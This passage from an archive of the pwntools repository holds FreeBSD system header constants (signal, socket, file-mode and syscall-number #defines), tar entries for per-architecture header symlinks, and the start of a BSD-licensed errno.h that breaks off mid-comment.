TRAP_TRACE 2 #define TRAP_DTRACE 3 #define CLD_EXITED 1 #define CLD_KILLED 2 #define CLD_DUMPED 3 #define CLD_TRAPPED 4 #define CLD_STOPPED 5 #define CLD_CONTINUED 6 #define POLL_IN 1 #define POLL_OUT 2 #define POLL_MSG 3 #define POLL_ERR 4 #define POLL_PRI 5 #define POLL_HUP 6 #define SA_NOCLDSTOP 0x0008 #define SA_ONSTACK 0x0001 #define SA_RESTART 0x0002 #define SA_RESETHAND 0x0004 #define SA_NODEFER 0x0010 #define SA_NOCLDWAIT 0x0020 #define SA_SIGINFO 0x0040 #define NSIG 32 #define SI_NOINFO 0 #define SI_USER 0x10001 #define SI_QUEUE 0x10002 #define SI_TIMER 0x10003 #define SI_ASYNCIO 0x10004 #define SI_MESGQ 0x10005 #define SI_KERNEL 0x10006 #define SI_LWP 0x10007 #define SI_UNDEFINED 0 #define SS_ONSTACK 0x0001 #define SS_DISABLE 0x0004 #define SV_ONSTACK 0x0001 #define SV_INTERRUPT 0x0002 #define SV_RESETHAND 0x0004 #define SV_NODEFER 0x0010 #define SV_NOCLDSTOP 0x0008 #define SV_SIGINFO 0x0040 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SO_DEBUG 0x0001 #define SO_ACCEPTCONN 0x0002 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_USELOOPBACK 0x0040 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TIMESTAMP 0x0400 #define SO_NOSIGPIPE 0x0800 #define SO_ACCEPTFILTER 0x1000 #define SO_BINTIME 0x2000 #define SO_NO_OFFLOAD 0x4000 #define SO_NO_DDP 0x8000 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDLOWAT 0x1003 #define SO_RCVLOWAT 0x1004 #define SO_SNDTIMEO 0x1005 #define SO_RCVTIMEO 0x1006 #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_LABEL 0x1009 #define SO_PEERLABEL 0x1010 #define SO_LISTENQLIMIT 0x1011 #define SO_LISTENQLEN 0x1012 #define SO_LISTENINCQLEN 0x1013 #define SO_SETFIB 0x1014 #define SO_USER_COOKIE 0x1015 #define SO_PROTOCOL 0x1016 #define SO_PROTOTYPE 0x1016 #define SO_VENDOR 0x80000000 #define SOL_SOCKET 0xffff #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_INET 2 #define AF_IMPLINK 3 #define AF_PUP 4 #define AF_CHAOS 5 #define AF_NETBIOS 6 #define AF_ISO 7 #define AF_OSI 7 #define AF_ECMA 8 #define AF_DATAKIT 9 #define AF_CCITT 10 #define AF_SNA 11 #define AF_DECnet 12 #define AF_DLI 13 #define AF_LAT 14 #define AF_HYLINK 15 #define AF_APPLETALK 16 #define AF_ROUTE 17 #define AF_LINK 18 #define pseudo_AF_XTP 19 #define AF_COIP 20 #define AF_CNT 21 #define pseudo_AF_RTIP 22 #define AF_IPX 23 #define AF_SIP 24 #define pseudo_AF_PIP 25 #define AF_ISDN 26 #define AF_E164 26 #define pseudo_AF_KEY 27 #define AF_INET6 28 #define AF_NATM 29 #define AF_ATM 30 #define pseudo_AF_HDRCMPLT 31 #define AF_NETGRAPH 32 #define AF_SLOW 33 #define AF_SCLUSTER 34 #define AF_ARP 35 #define AF_BLUETOOTH 36 #define AF_IEEE80211 37 #define AF_MAX 38 #define AF_VENDOR00 39 #define AF_VENDOR01 41 #define AF_VENDOR02 43 #define AF_VENDOR03 45 #define AF_VENDOR04 47 #define AF_VENDOR05 49 #define AF_VENDOR06 51 #define AF_VENDOR07 53 #define AF_VENDOR08 55 #define AF_VENDOR09 57 #define AF_VENDOR10 59 #define AF_VENDOR11 61 #define AF_VENDOR12 63 #define AF_VENDOR13 65 #define AF_VENDOR14 67 #define AF_VENDOR15 69 #define AF_VENDOR16 71 #define AF_VENDOR17 73 #define AF_VENDOR18 75 #define AF_VENDOR19 77 #define AF_VENDOR20 79 #define AF_VENDOR21 81 #define AF_VENDOR22 83 #define AF_VENDOR23 85 #define AF_VENDOR24 87 #define AF_VENDOR25 89 #define AF_VENDOR26 91 #define AF_VENDOR27 93 #define AF_VENDOR28 95 #define AF_VENDOR29 97 #define AF_VENDOR30 99 #define AF_VENDOR31 101 #define AF_VENDOR32 103 #define AF_VENDOR33 105 #define AF_VENDOR34 107 #define AF_VENDOR35 109 #define AF_VENDOR36 111 #define AF_VENDOR37 113 #define AF_VENDOR38 115 #define AF_VENDOR39 117 #define AF_VENDOR40 119 #define AF_VENDOR41 121 #define AF_VENDOR42 123 #define AF_VENDOR43 125 #define AF_VENDOR44 127 #define AF_VENDOR45 129 #define AF_VENDOR46 131 #define AF_VENDOR47 133 #define SOCK_MAXADDRLEN 255 #define PF_UNSPEC 0 #define PF_LOCAL 1 #define PF_UNIX 1 #define PF_INET 2 #define PF_IMPLINK 3 #define PF_PUP 4 #define PF_CHAOS 5 #define PF_NETBIOS 6 #define PF_ISO 7 #define PF_OSI 7 #define PF_ECMA 8 #define PF_DATAKIT 9 #define PF_CCITT 10 #define PF_SNA 11 #define PF_DECnet 12 #define PF_DLI 13 #define PF_LAT 14 #define PF_HYLINK 15 #define PF_APPLETALK 16 #define PF_ROUTE 17 #define PF_LINK 18 #define PF_XTP 19 #define PF_COIP 20 #define PF_CNT 21 #define PF_SIP 24 #define PF_IPX 23 #define PF_RTIP 22 #define PF_PIP 25 #define PF_ISDN 26 #define PF_KEY 27 #define PF_INET6 28 #define PF_NATM 29 #define PF_ATM 30 #define PF_NETGRAPH 32 #define PF_SLOW 33 #define PF_SCLUSTER 34 #define PF_ARP 35 #define PF_BLUETOOTH 36 #define PF_MAX 38 #define NET_MAXID 38 #define NET_RT_DUMP 1 #define NET_RT_FLAGS 2 #define NET_RT_IFLIST 3 #define NET_RT_IFMALIST 4 #define NET_RT_IFLISTL 5 #define NET_RT_MAXID 6 #define SOMAXCONN 128 #define MSG_OOB 0x1 #define MSG_PEEK 0x2 #define MSG_DONTROUTE 0x4 #define MSG_EOR 0x8 #define MSG_TRUNC 0x10 #define MSG_CTRUNC 0x20 #define MSG_WAITALL 0x40 #define MSG_NOTIFICATION 0x2000 #define MSG_DONTWAIT 0x80 #define MSG_EOF 0x100 #define MSG_NBIO 0x4000 #define MSG_COMPAT 0x8000 #define MSG_NOSIGNAL 0x20000 #define CMGROUP_MAX 16 #define SCM_RIGHTS 0x01 #define SCM_TIMESTAMP 0x02 #define SCM_CREDS 0x03 #define SCM_BINTIME 0x04 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define PRU_FLUSH_RD 0 #define PRU_FLUSH_WR 1 #define PRU_FLUSH_RDWR 2 #define SF_NODISKIO 0x00000001 #define SF_MNOWAIT 0x00000002 #define SF_SYNC 0x00000004 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISTXT 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IFMT 0xf000 #define S_IFIFO 0x1000 #define S_IFCHR 0x2000 #define S_IFDIR 0x4000 #define S_IFBLK 0x6000 #define S_IFREG 0x8000 #define S_IFLNK 0xa000 #define S_IFSOCK 0xc000 #define S_ISVTX 0x200 #define S_IFWHT 0xe000 #define ACCESSPERMS 0x1ff #define ALLPERMS 0xfff #define DEFFILEMODE 0x1b6 #define S_BLKSIZE 512 #define UF_SETTABLE 0x0000ffff #define UF_NODUMP 0x00000001 #define UF_IMMUTABLE 0x00000002 #define UF_APPEND 0x00000004 #define UF_OPAQUE 0x00000008 #define UF_NOUNLINK 0x00000010 #define SF_SETTABLE 0xffff0000 #define SF_ARCHIVED 0x00010000 #define SF_IMMUTABLE 0x00020000 #define SF_APPEND 0x00040000 #define SF_NOUNLINK 0x00100000 #define SF_SNAPSHOT 0x00200000 #define SYS_syscall 0 #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_wait4 7 #define SYS_link 9 #define SYS_unlink 10 #define SYS_chdir 12 #define SYS_fchdir 13 #define SYS_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_freebsd4_getfsstat 18 #define SYS_getpid 20 #define SYS_mount 21 #define SYS_unmount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_geteuid 25 #define SYS_ptrace 26 #define SYS_recvmsg 27 #define SYS_sendmsg 28 #define SYS_recvfrom 29 #define SYS_accept 30 #define SYS_getpeername 31 #define SYS_getsockname 32 #define SYS_access 33 #define SYS_chflags 34 #define SYS_fchflags 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_getppid 39 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_getegid 43 #define SYS_profil 44 #define SYS_ktrace 45 #define SYS_getgid 47 #define SYS_getlogin 49 #define SYS_setlogin 50 #define SYS_acct 51 #define SYS_sigaltstack 53 #define SYS_ioctl 54 #define SYS_reboot 55 #define SYS_revoke 56 #define SYS_symlink 57 #define SYS_readlink 58 #define SYS_execve 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_msync 65 #define SYS_vfork 66 #define SYS_sbrk 69 #define SYS_sstk 70 #define SYS_vadvise 72 #define SYS_munmap 73 #define SYS_mprotect 74 #define SYS_madvise 75 #define SYS_mincore 78 #define SYS_getgroups 79 #define SYS_setgroups 80 #define SYS_getpgrp 81 #define SYS_setpgid 82 #define SYS_setitimer 83 #define SYS_swapon 85 #define SYS_getitimer 86 #define SYS_getdtablesize 89 #define SYS_dup2 90 #define SYS_fcntl 92 #define SYS_select 93 #define SYS_fsync 95 #define SYS_setpriority 96 #define SYS_socket 97 #define SYS_connect 98 #define SYS_getpriority 100 #define SYS_bind 104 #define SYS_setsockopt 105 #define SYS_listen 106 #define SYS_gettimeofday 116 #define SYS_getrusage 117 #define SYS_getsockopt 118 #define SYS_readv 120 #define SYS_writev 121 #define SYS_settimeofday 122 #define SYS_fchown 123 #define SYS_fchmod 124 #define SYS_setreuid 126 #define SYS_setregid 127 #define SYS_rename 128 #define SYS_flock 131 #define SYS_mkfifo 132 #define SYS_sendto 133 #define SYS_shutdown 134 #define SYS_socketpair 135 #define SYS_mkdir 136 #define SYS_rmdir 137 #define SYS_utimes 138 #define SYS_adjtime 140 #define SYS_setsid 147 #define SYS_quotactl 148 #define SYS_nlm_syscall 154 #define SYS_nfssvc 155 #define SYS_freebsd4_statfs 157 #define SYS_freebsd4_fstatfs 158 #define SYS_lgetfh 160 #define SYS_getfh 161 #define SYS_freebsd4_getdomainname 162 #define SYS_freebsd4_setdomainname 163 #define SYS_freebsd4_uname 164 #define SYS_sysarch 165 #define SYS_rtprio 166 #define SYS_semsys 169 #define SYS_msgsys 170 #define SYS_shmsys 171 #define SYS_freebsd6_pread 173 #define SYS_freebsd6_pwrite 174 #define SYS_setfib 175 #define SYS_ntp_adjtime 176 #define SYS_setgid 181 #define SYS_setegid 182 #define SYS_seteuid 183 #define SYS_stat 188 #define SYS_fstat 189 #define SYS_lstat 190 #define SYS_pathconf 191 #define SYS_fpathconf 192 #define SYS_getrlimit 194 #define SYS_setrlimit 195 #define SYS_getdirentries 196 #define SYS_freebsd6_mmap 197 #define SYS___syscall 198 #define SYS_freebsd6_lseek 199 #define SYS_freebsd6_truncate 200 #define SYS_freebsd6_ftruncate 201 #define SYS___sysctl 202 #define SYS_mlock 203 #define SYS_munlock 204 #define SYS_undelete 205 #define SYS_futimes 206 #define SYS_getpgid 207 #define SYS_poll 209 #define SYS_freebsd7___semctl 220 #define SYS_semget 221 #define SYS_semop 222 #define SYS_freebsd7_msgctl 224 #define SYS_msgget 225 #define SYS_msgsnd 226 #define SYS_msgrcv 227 #define SYS_shmat 228 #define SYS_freebsd7_shmctl 229 #define SYS_shmdt 230 #define SYS_shmget 231 #define SYS_clock_gettime 232 #define SYS_clock_settime 233 #define SYS_clock_getres 234 #define SYS_ktimer_create 235 #define SYS_ktimer_delete 236 #define SYS_ktimer_settime 237 #define SYS_ktimer_gettime 238 #define SYS_ktimer_getoverrun 239 #define SYS_nanosleep 240 #define SYS_ntp_gettime 248 #define SYS_minherit 250 #define SYS_rfork 251 #define SYS_openbsd_poll 252 #define SYS_issetugid 253 #define SYS_lchown 254 #define SYS_aio_read 255 #define SYS_aio_write 256 #define SYS_lio_listio 257 #define SYS_getdents 272 #define SYS_lchmod 274 #define SYS_netbsd_lchown 275 #define SYS_lutimes 276 #define SYS_netbsd_msync 277 #define SYS_nstat 278 #define SYS_nfstat 279 #define SYS_nlstat 280 #define SYS_preadv 289 #define SYS_pwritev 290 #define SYS_freebsd4_fhstatfs 297 #define SYS_fhopen 298 #define SYS_fhstat 299 #define SYS_modnext 300 #define SYS_modstat 301 #define SYS_modfnext 302 #define SYS_modfind 303 #define SYS_kldload 304 #define SYS_kldunload 305 #define SYS_kldfind 306 #define SYS_kldnext 307 #define SYS_kldstat 308 #define SYS_kldfirstmod 309 #define SYS_getsid 310 #define SYS_setresuid 311 #define SYS_setresgid 312 #define SYS_aio_return 314 #define SYS_aio_suspend 315 #define SYS_aio_cancel 316 #define SYS_aio_error 317 #define SYS_oaio_read 318 #define SYS_oaio_write 319 #define SYS_olio_listio 320 #define SYS_yield 321 #define SYS_mlockall 324 #define SYS_munlockall 325 #define SYS___getcwd 326 #define SYS_sched_setparam 327 #define SYS_sched_getparam 328 #define SYS_sched_setscheduler 329 #define SYS_sched_getscheduler 330 #define SYS_sched_yield 331 #define SYS_sched_get_priority_max 332 #define SYS_sched_get_priority_min 333 #define SYS_sched_rr_get_interval 334 #define SYS_utrace 335 #define SYS_freebsd4_sendfile 336 #define SYS_kldsym 337 #define SYS_jail 338 #define SYS_nnpfs_syscall 339 #define SYS_sigprocmask 340 #define SYS_sigsuspend 341 #define SYS_freebsd4_sigaction 342 #define SYS_sigpending 343 #define SYS_freebsd4_sigreturn 344 #define SYS_sigtimedwait 345 #define SYS_sigwaitinfo 346 #define SYS___acl_get_file 347 #define SYS___acl_set_file 348 #define SYS___acl_get_fd 349 #define SYS___acl_set_fd 350 #define SYS___acl_delete_file 351 #define SYS___acl_delete_fd 352 #define SYS___acl_aclcheck_file 353 #define SYS___acl_aclcheck_fd 354 #define SYS_extattrctl 355 #define SYS_extattr_set_file 356 #define SYS_extattr_get_file 357 #define SYS_extattr_delete_file 358 #define SYS_aio_waitcomplete 359 #define SYS_getresuid 360 #define SYS_getresgid 361 #define SYS_kqueue 362 #define SYS_kevent 363 #define SYS_extattr_set_fd 371 #define SYS_extattr_get_fd 372 #define SYS_extattr_delete_fd 373 #define SYS___setugid 374 #define SYS_eaccess 376 #define SYS_afs3_syscall 377 #define SYS_nmount 378 #define SYS___mac_get_proc 384 #define SYS___mac_set_proc 385 #define SYS___mac_get_fd 386 #define SYS___mac_get_file 387 #define SYS___mac_set_fd 388 #define SYS___mac_set_file 389 #define SYS_kenv 390 #define SYS_lchflags 391 #define SYS_uuidgen 392 #define SYS_sendfile 393 #define SYS_mac_syscall 394 #define SYS_getfsstat 395 #define SYS_statfs 396 #define SYS_fstatfs 397 #define SYS_fhstatfs 398 #define SYS_ksem_close 400 #define SYS_ksem_post 401 #define SYS_ksem_wait 402 #define SYS_ksem_trywait 403 #define SYS_ksem_init 404 #define SYS_ksem_open 405 #define SYS_ksem_unlink 406 #define SYS_ksem_getvalue 407 #define SYS_ksem_destroy 408 #define SYS___mac_get_pid 409 #define SYS___mac_get_link 410 #define SYS___mac_set_link 411 #define SYS_extattr_set_link 412 #define SYS_extattr_get_link 413 #define SYS_extattr_delete_link 414 #define SYS___mac_execve 415 #define SYS_sigaction 416 #define SYS_sigreturn 417 #define SYS_getcontext 421 #define SYS_setcontext 422 #define SYS_swapcontext 423 #define SYS_swapoff 424 #define SYS___acl_get_link 425 #define SYS___acl_set_link 426 #define SYS___acl_delete_link 427 #define SYS___acl_aclcheck_link 428 #define SYS_sigwait 429 #define SYS_thr_create 430 #define SYS_thr_exit 431 #define SYS_thr_self 432 #define SYS_thr_kill 433 #define SYS__umtx_lock 434 #define SYS__umtx_unlock 435 #define SYS_jail_attach 436 #define SYS_extattr_list_fd 437 #define SYS_extattr_list_file 438 #define SYS_extattr_list_link 439 #define SYS_ksem_timedwait 441 #define SYS_thr_suspend 442 #define SYS_thr_wake 443 #define SYS_kldunloadf 444 #define SYS_audit 445 #define SYS_auditon 446 #define SYS_getauid 447 #define SYS_setauid 448 #define SYS_getaudit 449 #define SYS_setaudit 450 #define SYS_getaudit_addr 451 #define SYS_setaudit_addr 452 #define SYS_auditctl 453 #define SYS__umtx_op 454 #define SYS_thr_new 455 #define SYS_sigqueue 456 #define SYS_kmq_open 457 #define SYS_kmq_setattr 458 #define SYS_kmq_timedreceive 459 #define SYS_kmq_timedsend 460 #define SYS_kmq_notify 461 #define SYS_kmq_unlink 462 #define SYS_abort2 463 #define SYS_thr_set_name 464 #define SYS_aio_fsync 465 #define SYS_rtprio_thread 466 #define SYS_sctp_peeloff 471 #define SYS_sctp_generic_sendmsg 472 #define SYS_sctp_generic_sendmsg_iov 473 #define SYS_sctp_generic_recvmsg 474 #define SYS_pread 475 #define SYS_pwrite 476 #define SYS_mmap 477 #define SYS_lseek 478 #define SYS_truncate 479 #define SYS_ftruncate 480 #define SYS_thr_kill2 481 #define SYS_shm_open 482 #define SYS_shm_unlink 483 #define SYS_cpuset 484 #define SYS_cpuset_setid 485 #define SYS_cpuset_getid 486 #define SYS_cpuset_getaffinity 487 #define SYS_cpuset_setaffinity 488 #define SYS_faccessat 489 #define SYS_fchmodat 490 #define SYS_fchownat 491 #define SYS_fexecve 492 #define SYS_fstatat 493 #define SYS_futimesat 494 #define SYS_linkat 495 #define SYS_mkdirat 496 #define SYS_mkfifoat 497 #define SYS_mknodat 498 #define SYS_openat 499 #define SYS_readlinkat 500 #define SYS_renameat 501 #define SYS_symlinkat 502 #define SYS_unlinkat 503 #define SYS_posix_openpt 504 #define SYS_gssd_syscall 505 #define SYS_jail_get 506 #define SYS_jail_set 507 #define SYS_jail_remove 508 #define SYS_closefrom 509 #define SYS___semctl 510 #define SYS_msgctl 511 #define SYS_shmctl 512 #define SYS_lpathconf 513 #define SYS_cap_new 514 #define SYS_cap_getrights 515 #define SYS_cap_enter 516 #define SYS_cap_getmode 517 #define SYS_pdfork 518 #define SYS_pdkill 519 #define SYS_pdgetpid 520 #define SYS_pselect 522 #define SYS_getloginclass 523 #define SYS_setloginclass 524 #define SYS_rctl_get_racct 525 #define SYS_rctl_get_rules 526 #define SYS_rctl_get_limits 527 #define SYS_rctl_add_rule 528 #define SYS_rctl_remove_rule 529 #define SYS_posix_fallocate 530 #define SYS_posix_fadvise 531 #define SYS_wait6 532 #define SYS_MAXSYSCALL 533 #define _POSIX_ADVISORY_INFO 200112 #define _POSIX_ASYNCHRONOUS_IO 0 #define _POSIX_CHOWN_RESTRICTED 1 #define _POSIX_CLOCK_SELECTION (-1) #define _POSIX_CPUTIME (-1) #define _POSIX_FSYNC 200112 #define _POSIX_IPV6 0 #define _POSIX_JOB_CONTROL 1 #define _POSIX_MAPPED_FILES 200112 #define _POSIX_MEMLOCK (-1) #define _POSIX_MEMLOCK_RANGE 200112 #define _POSIX_MEMORY_PROTECTION 200112 #define _POSIX_MESSAGE_PASSING 200112 #define _POSIX_MONOTONIC_CLOCK 200112 #define _POSIX_NO_TRUNC 1 #define _POSIX_PRIORITIZED_IO (-1) #define _POSIX_PRIORITY_SCHEDULING 200112 #define _POSIX_RAW_SOCKETS 200112 #define _POSIX_REALTIME_SIGNALS 200112 #define _POSIX_SEMAPHORES 200112 #define _POSIX_SHARED_MEMORY_OBJECTS 200112 #define _POSIX_SPORADIC_SERVER (-1) #define _POSIX_SYNCHRONIZED_IO (-1) #define _POSIX_TIMEOUTS 200112 #define _POSIX_TIMERS 200112 #define _POSIX_TYPED_MEMORY_OBJECTS (-1) #define _POSIX_VDISABLE 0xff #define _XOPEN_SHM 1 #define _XOPEN_STREAMS (-1) #define _POSIX_VERSION 200112 #define F_OK 0 #define X_OK 0x01 #define W_OK 0x02 #define R_OK 0x04 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define SEEK_DATA 3 #define SEEK_HOLE 4 #define L_SET 0 #define L_INCR 1 #define L_XTND 2 #define _PC_LINK_MAX 1 #define _PC_MAX_CANON 2 #define _PC_MAX_INPUT 3 #define _PC_NAME_MAX 4 #define _PC_PATH_MAX 5 #define _PC_PIPE_BUF 6 #define _PC_CHOWN_RESTRICTED 7 #define _PC_NO_TRUNC 8 #define _PC_VDISABLE 9 #define _PC_ASYNC_IO 53 #define _PC_PRIO_IO 54 #define _PC_SYNC_IO 55 #define _PC_ALLOC_SIZE_MIN 10 #define _PC_FILESIZEBITS 12 #define _PC_REC_INCR_XFER_SIZE 14 #define _PC_REC_MAX_XFER_SIZE 15 #define _PC_REC_MIN_XFER_SIZE 16 #define _PC_REC_XFER_ALIGN 17 #define _PC_SYMLINK_MAX 18 #define _PC_ACL_EXTENDED 59 #define _PC_ACL_PATH_MAX 60 #define _PC_CAP_PRESENT 61 #define _PC_INF_PRESENT 62 #define _PC_MAC_PRESENT 63 #define _PC_ACL_NFS4 64 #define _PC_MIN_HOLE_SIZE 21 #define RFNAMEG (1<<0) #define RFENVG (1<<1) #define RFFDG (1<<2) #define RFNOTEG (1<<3) #define RFPROC (1<<4) #define RFMEM (1<<5) #define RFNOWAIT (1<<6) #define RFCNAMEG (1<<10) #define RFCENVG (1<<11) #define RFCFDG (1<<12) #define RFTHREAD (1<<13) #define RFSIGSHARE (1<<14) #define RFLINUXTHPN (1<<16) #define RFSTOPPED (1<<17) #define RFHIGHPID (1<<18) #define RFTSIGZMB (1<<19) #define RFTSIGSHIFT 20 #define RFTSIGMASK 0xFF #define RFPROCDESC (1<<28) #define RFPPWAIT (1<<31) #define RFFLAGS ((1<<2) | (1<<4) | (1<<5) | (1<<6) | (1<<12) | (1<<13) | (1<<14) | (1<<16) | (1<<17) | (1<<18) | (1<<19) | (1<<28) | (1<<31)) #define RFKERNELONLY ((1<<17) | (1<<18) | (1<<31) | (1<<28)) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/000077500000000000000000000000001507273764500236265ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/aarch64.h000077700000000000000000000000001507273764500272202../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/alpha.h000077700000000000000000000000001507273764500270552../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/amd64.h000077700000000000000000000000001507273764500267032../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/arm.h000077700000000000000000000000001507273764500265472../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/i386.h000077700000000000000000000000001507273764500264612../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/ia64.h000077700000000000000000000000001507273764500265332../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/mips.h000077700000000000000000000000001507273764500267402../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/powerpc.h000077700000000000000000000000001507273764500274472../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/powerpc64.h000077700000000000000000000000001507273764500276212../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/s390.h000077700000000000000000000000001507273764500264662../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/s390x.h000077700000000000000000000000001507273764500266562../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/sparc.h000077700000000000000000000000001507273764500271002../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/sparc64.h000077700000000000000000000000001507273764500272522../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd/thumb.h000077700000000000000000000000001507273764500271072../freebsd.hustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/000077500000000000000000000000001507273764500242025ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/000077500000000000000000000000001507273764500256145ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/common.h000066400000000000000000000011171507273764500272550ustar00rootroot00000000000000#define STDIN_FILENO 0 /* standard input file descriptor */ #define STDOUT_FILENO 1 /* standard output file descriptor */ #define STDERR_FILENO 2 /* standard error file descriptor */ #define __BSD_VISIBLE 99999999 #define __POSIX_VISIBLE 99999999 #define __XSI_VISIBLE 99999999 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #include #include #include #include #include #include #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/machine/000077500000000000000000000000001507273764500272205ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/machine/_align.h000066400000000000000000000000001507273764500306100ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/machine/_limits.h000066400000000000000000000000001507273764500310170ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/machine/signal.h000066400000000000000000000000001507273764500306340ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/000077500000000000000000000000001507273764500264325ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/_iovec.h000066400000000000000000000000001507273764500300350ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/_sigset.h000066400000000000000000000000001507273764500302260ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/_sockaddr_storage.h000066400000000000000000000000001507273764500322460ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/_timespec.h000066400000000000000000000000001507273764500305410ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/_types.h000066400000000000000000000000001507273764500300740ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/cdefs.h000066400000000000000000000000001507273764500276550ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/errno.h000066400000000000000000000174311507273764500277360ustar00rootroot00000000000000/*- * Copyright (c) 1982, 1986, 1989, 1993 * The Regents of the University of California. All rights reserved. * (c) UNIX System Laboratories, Inc. * All or some portions of this file are derived from material licensed * to the University of California by American Telephone and Telegraph * Co. or Unix System Laboratories, Inc. and are reproduced herein with * the permission of UNIX System Laboratories, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)errno.h 8.5 (Berkeley) 1/21/94 * $FreeBSD$ */ #ifndef _SYS_ERRNO_H_ #define _SYS_ERRNO_H_ #ifndef _KERNEL #include __BEGIN_DECLS int * __error(void); __END_DECLS #define errno (* __error()) #endif #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* 